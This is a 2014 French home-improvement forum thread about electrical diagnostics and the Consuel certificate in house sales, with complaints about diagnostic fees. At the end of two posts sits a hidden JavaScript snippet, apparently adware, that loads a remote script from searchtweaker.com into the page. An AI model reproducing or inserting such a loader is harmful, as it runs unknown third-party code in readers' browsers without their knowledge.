consuel,s'il est refuser ? ça "fait quoi" ?

  1. call13
    Autre Pays
    salut a tous

    un éclaircissement s'il vous plait sur le consuel (en france) .
    supposant qu'une personne vende un bien (maison ou appartement)
    le préposé au consuel (electrique ) passe et note des points qui ne sont pas conformes aux normes.
    l'acheteur s'en "s'enfiche" et malgré cela veut acheter le bien.
    question,l'acheteur peut ou ne peut pas acheter le bien ? que se passe t'il apres la vente s'il y'a un soucis ou des travaux a effectuer ?
    merci
     
    call13 , 26 Mai 2014
    #1
  2. Marcandco
    (24) Dordogne
    tu dois (c'est une obligation légale) informer ton acheteur,mais s'il veut acheter le bien ,ce n'est pas un vice caché,donc il achète en conscience,et ne pourra pas te le reprocher par la suite,si il achète,il dois absolument faire les travaux de mise en conformité,mais ça c'est plus ton problèmes.en gros,tu vends avec tous les documents obligatoires,et après tu n'as plus aucun compte a rendre.
     
    Marcandco , 26 Mai 2014
    #2
  3. Carminas
    (77) Seine-et-Marne
    Bonjour

    Il y a 2 choses à ne pas confondre

    L'attestation de conformité d'une installation électrique, délivrée par le consuel.
    Elle est obligatoire lors de la création d'une installation pour qu'ERDF vous mette en service l'électricité la première fois lors de la création du branchement (dans de rares fois ultérieurement).
    Elle vérifie la conformité complète de l'installation à la NF C 15-100. Elle n'est pas délivrée tant qu'il subsiste des défauts importants sur l'installation (on tolère des défauts mineurs).

    Le diagnostique électricité, fait par un organisme certificateur en charge de tous les diagnostiques, et pas par le consuel, dans le cadre de la revente d'un logement de plus de 15 ans.
    Ce diagnostique se limite à vérifier les éléments essentiels de sécurité et à lister les défauts constatés. Il n'y a pas de notion de "refusé" contrairement à l'attestation de conformité.
    Ce diagnostique doit être remis à l'acheteur. Il est purement indicatif et il n'y a aucune obligation ni pour l'acheteur ni pour le vendeur de rectifier les défauts indiqués.
    Pour l'acheteur c'est néanmoins pertinent de le faire et ces travaux seront à sa charge. A lui de négocier au moment de l'achat le prix du bien à la baisse pour tenir compte de ces travaux futurs.
    Il peut également dans sa négociation demander à ce que ces défauts soient rectifiés avant l'achat, mais ce n'est pas forcément pertinent car cela risque d'être fait avec des solutions "au rabais".
    Mais tout cela c'est de la négociation, il n'y a aucune obligation réglementaire de quoi que ce soit à part pour le vendeur de faire faire le diagnostique et le remettre à l'acheteur pour que celui-ci soit informé des défauts éventuels.

    @+
     
    Dernière édition par un modérateur: 26 Mai 2014
    Carminas , 26 Mai 2014
    #3
  4. zaz789
    (23) Creuse
    Juste pour illustrer la réponse de Caminas : j'ai acheté il y a quelques années une maison dans laquelle l'électricité datait de 1950. Un désastre avec des dominos apparents, des câbles quasi dénudés, etc...

    Tout était indiqué dans le diagnostic électricité, mais ça ne m'a bien sur pas empêché d'acheter la maison. Truc qui m'a surpris : quand EDF est venu rétablir le courant (coupé depuis 15 ans) ils n'ont posé aucune question sur l'installation (même si, en l’occurrence, je n'ai pas rétabli le courant dans l'ancienne installation, mais j'ai posé directement un tableau + prises temporaires). Pour l'agent, j'aurais tout aussi bien pu rétablir le courant dans l'installation initiale.
     
    zaz789 , 26 Mai 2014
    #4
  5. call13
    Autre Pays
    c'est fous ça !! j'en ai appris des choses !....
    la maison en question date de plus de 30 ans , (je comprends mieux maintenant les prises au dessus du lavabo) .
    donc ,si je vous est bien compris ,(c'est moi qui sera le vendeur...plus tard).
    un organisme privé viendra chez moi pour un bilan "d'état des lieux" ce ne sera pas seulement l'électricité qui sera diagnostiqué mais tout....isolation,exct... vrais ?
    pendant que j'y pense , le contrôle éléctrique..."ils" démontent les prises et boites de dérivations ?.."ils" ouvre les taleaux électriques ?...
    apres quoi ce constat sera donné a l'éventuel acheteur (sans obligation de réparation ni pour lui , ni pour moi ?.
    le tarif de cette visite ,quelqun a une idée ? merci(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
     
    Dernière édition par un modérateur: 26 Mai 2014
    call13 , 26 Mai 2014
    #5
  6. zaz789
    (23) Creuse
    Oui, c'est ça.

    D'une manière générale, les contrôleurs ne démontent rien : ni l'isolant, ni l'électricité, ni rien d'autre (un peu comme au contrôle technique en fait).

    Pour les tarifs, on trouve des indications ici :
    http://www.prodiagnostic.fr/tarif-diagnostic-immobilier.html

    Dans mon cas (Amiante, Plomb, Electricité, pas de chauffage installé ni isolation, ni installation gaz) ça avait couté 650 €.

    J'ai retrouvé le document, pour l'électricité il indique : "L’installation intérieure d’électricité comporte une ou des anomalies pour laquelle ou lesquelles il est vivement recommandé d’agir afin d’éliminer les dangers qu’elle(s) présente(nt)."

    Bref, c'est une recommandation a suivre, mais qui ne bloque pas la vente, et n'oblige pas a contre visite ensuite.
     
    zaz789 , 26 Mai 2014
    #6
  7. call13
    Autre Pays
    650 € !! ?? franchement c'est du vol !!
    pourquoi pas 1000 ou 10.000 € ?..que ce soit nos politiques,les divers organisations
    ou systèmes ...tous on la même politique on "fait banquer sans limite" le .."client" !!!
    les autoroutes devaient devenir "gratuites" apres les avoir vendus une bouchée de pain....elles augmentent proportionnellement avec les bénéfices des compagnies qui ont on la charge ,le contrôle technique auto ,qui était prévu tout les 4 ans est passé a 2 ans...beaucoups se sont engoufré dans le filon qu'ils on vu rémunérateur....(la vache a lait qu'est l'automobiliste..)des centres de contrôle auto se retrouvent maintenant (certains) sans trop de boulot..ils réclament une lois pour un contrôle tous les an !!! bein voyons !!! et tout est comme ça !!.... pauvre france !!!!!!!!!.....
    ils n'ont pas retenu la leçon ?...il est vrais que 1789 est bien loin....mais..je ne désespère pas ! il semble qu'une "brise" commence a souflé un peux dans les voiles ....
    (function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
     
    call13 , 26 Mai 2014
    #7
  8. vincent747
    (34) Hérault
    C'est vrais que 650€ pour quelques diagnostics c'est plutôt élevés non ? En plus pour une prestation plus que légère. Lors de la vente de la maison d'amis à Salon de Provence, j'avais regardé le diagnostiqueur oeuvrer et force est de constater qu'il est là pour cocher des cases si je peux dire. Il parcourait la maison de pièce en pièce, et prenait des notes. Et dans le doute, car bien sur il ne vérifiait rien il ne faisait qu'observer, il cochait "possibilité de ...". Je ne sais plus quel avait été le prix. Mais plus de 500€ c'est abusé. Mais les tarifs ne sont pas réglementés ? J'en avais discuté un peu avec les gens de l'agence immobilière en charge de la vente (http://www.votremaison-immo.fr) et ils me confirmaient que le DPE manquait de fiabilité, mais était un document obligatoire. Les pratiques restaient abusives bien souvent, et les fraudes régulières. Les syndics de copropriétés étant de l'avis des agents immobiliers, les plus filous.
     
    Dernière édition par un modérateur: 12 Juin 2014
    vincent747 , 10 Juin 2014
    #8
  9. hupatiny
    (14) Calvados
    d'une manière général vu que la diagnostiqueur n'y connait généralement rien effectivement tu sers de vache à lait, mais dans ce monde il faut bien que des bons a rien s'enrichissent sur ton dos :-D
     
    hupatiny , 12 Juin 2014
    #9